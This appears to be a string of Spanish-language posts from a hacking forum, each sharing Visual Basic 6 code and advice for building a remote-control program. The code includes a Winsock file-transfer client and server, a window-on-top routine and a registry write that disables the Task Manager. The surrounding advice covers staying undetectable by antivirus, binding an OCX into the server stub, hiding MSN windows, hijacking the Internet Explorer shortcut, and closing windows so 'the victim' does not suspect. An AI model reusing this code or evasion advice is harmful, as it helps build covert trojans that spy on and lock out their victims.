Mensajes

No hace falta q le metas ningun protector. Si lo usas tu solo te durará indetectable durante mucho tiempo

Añade este source a el form:

Código [Seleccionar] Expandir

EN UN MODULO:

Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long


EN EL FORM:

' SetWindowPos Flags
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
'Const SWP_NOZORDER = &H4
'Const SWP_NOREDRAW = &H8
Const SWP_NOACTIVATE = &H10
'Const SWP_DRAWFRAME = &H20
Const SWP_SHOWWINDOW = &H40
'Const SWP_HIDEWINDOW = &H80
'Const SWP_NOCOPYBITS = &H100
'Const SWP_NOREPOSITION = &H200
Const SWP_FLAGS = SWP_NOMOVE Or SWP_NOSIZE Or SWP_SHOWWINDOW Or SWP_NOACTIVATE


Private Sub Form_Load()
If SetWindowPos(hwnd, -1, 0, 0, 0, 0, SWP_FLAGS) Then
End If ' Para q este siempre visible
End Sub

1S4ludo

Yo personalmente e publicado un moton de veces codigos de como subir y bajar arhivos.. a demas te explicado personalmente como enviar de 4 en 4 KB a ti vivachapas.... Pero weno, volvere a dejar un source de envio de archivos con VB:

CLIENTE:

Código [Seleccionar] Expandir

Dim DataFile As String
Dim LenFile As Long
Dim Envio As Boolean

Private Sub Form_Load()
ws.LocalPort = 2848
ws.Listen
Envio = False
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
ws.GetData data

If Envio = True Then
DataFile = DataFile & data
ProgressBar1.Value = Len(DataFile)
If Len(DataFile) = LenFile Then
Open "C:\Prueba2.txt" For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
Envio = False
ProgressBar1.Value = 0
End If
End If

If Left(data, 4) = "Tam:" Then
LenFile = Mid(data, 5)
ProgressBar1.Max = LenFile
Envio = True
ws.SendData "SendFile"
End If

SERVER:

Código [Seleccionar] Expandir

Private Sub Form_Load()
ws.Close
ws.Connect "127.0.0.1", 2848
End Sub

Private Sub ws_Connect()
ws.SendData "Tam:" & FileLen("C:\Prueba.txt")
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Dim Send As String
ws.GetData data

If Left(data, 8) = "SendFile" Then
Open "C:\Prueba.txt" For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1

ws.SendData Send
End If

End Sub

Tb e puesto un source completo de un file manager en VB:
http://foro.elhacker.net/index.php/topic,160912.0.html

Y si kereis ponerle iconos al file manager, pues dos metodos a falta de uno:
http://foro.elhacker.net/index.php/topic,165169.0.html

Y mi explicacion de como enviar un archivo de 4 en 4 KB o como te de la gana:
http://foro.elhacker.net/index.php/topic,160099.0.html

Solo era cuestion de buscar un poco...

este tema se hablo dos post mas abajo creo XD

es muy simple... tu tienes tu server ya hecho, con otro programa lo abre le agregas un separador y la ocx, luego haces q cuando se ejecute se auto lea se divida y cree la ocx

No es lo mismo vivachapas, leete el manual y lo entenderas (esta en portugues pero se entiende bien)

Pon este codigo para q el formulario se mantenga siempre al frente:

Código [Seleccionar] Expandir

EN UN MODULO:

Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long


EN EL FORM:

' SetWindowPos Flags
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
'Const SWP_NOZORDER = &H4
'Const SWP_NOREDRAW = &H8
Const SWP_NOACTIVATE = &H10
'Const SWP_DRAWFRAME = &H20
Const SWP_SHOWWINDOW = &H40
'Const SWP_HIDEWINDOW = &H80
'Const SWP_NOCOPYBITS = &H100
'Const SWP_NOREPOSITION = &H200
Const SWP_FLAGS = SWP_NOMOVE Or SWP_NOSIZE Or SWP_SHOWWINDOW Or SWP_NOACTIVATE


Private Sub Form_Load()
If SetWindowPos(hwnd, -1, 0, 0, 0, 0, SWP_FLAGS) Then
End If ' Para q este siempre visible
End Sub

Y para q no se pueda activar el admin de tareas:

Código [Seleccionar] Expandir

'BOTON PARA DESACTIVAR Ctrl+Alt+Sup:

Private Sub cmdDesactiva_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
End Sub

'BOTON PARA Activar Ctrl+Alt+Sup:

Private Sub cmdActivar_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "0"
End Sub

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
On Error GoTo men
'creamos la variable para usar Fso
Set Fso = CreateObject("wscript.shell")
'Grabamos el valor en el registro con el método regWrite
Fso.RegWrite Folder, Value, "REG_DWORD"

'Eliminamos la variable Fso
Set Fso = Nothing


Exit Sub
'error
men:
MsgBox Err.Description: Resume Next
End Sub

1S4ludo

Creo q usas mal la api... para obtener el hadle de la ventana q tiene el foco tienes q hacer esto: (no estoy 100% seguro)

Código [Seleccionar] Expandir

Private Declare Function GetFocus Lib "user32" () As Long
h& = GetFocus&()

Y te kedaria en h& el handle.



Pero mira esta api:
http://support.microsoft.com/kb/147659/es

Te permite obtener el handle e una ventana sin saber su titulo exato.. espero q te sirva

Una idea.

Con la api del msn puedes obtener los nicks de los contactos no? pues la traes al frente, y el titulo de la ventana tendra q contener por fuerza el nick.
Haces un listado de todas las ventanas, buscas la q contenga el nick, obtienes el handle y la ocultas...

Hola

Mira a mi se me ocurre una  ides, aunke kizas no sean las mas efectivas...

La primera es cambiar el link con el q abres el IE hacia tu programa, así al abrir el ie explorer se abriria tu programa, q ejecutaria el IE y se colocoria donde correspondiera.
Luego, mediante un timer vas comprovando el estado del IE y haces q tu programa se minimice o se cierre segun el estado del Ie, aunke esto gastaria muchos recursos..

Google un poco por q seguro q hay algun tuto o algo para programar barras para Ie o firefox, como la barra de google o programas de ese estilo..

Mira, se me acaba de ocurrir una idea.

La traes al frente, le mandas el texto y de nuevo con send keys le envias Alt + F4, asi se cierra y la victima ya no sospecha (demasiado)

no entiendo... como conflictivas??

Pues si usas urldownloader por ej q suele ser muy detectada por euristica....

cuando es plano?

Lo q a dicho Mad, cuando esta entre ""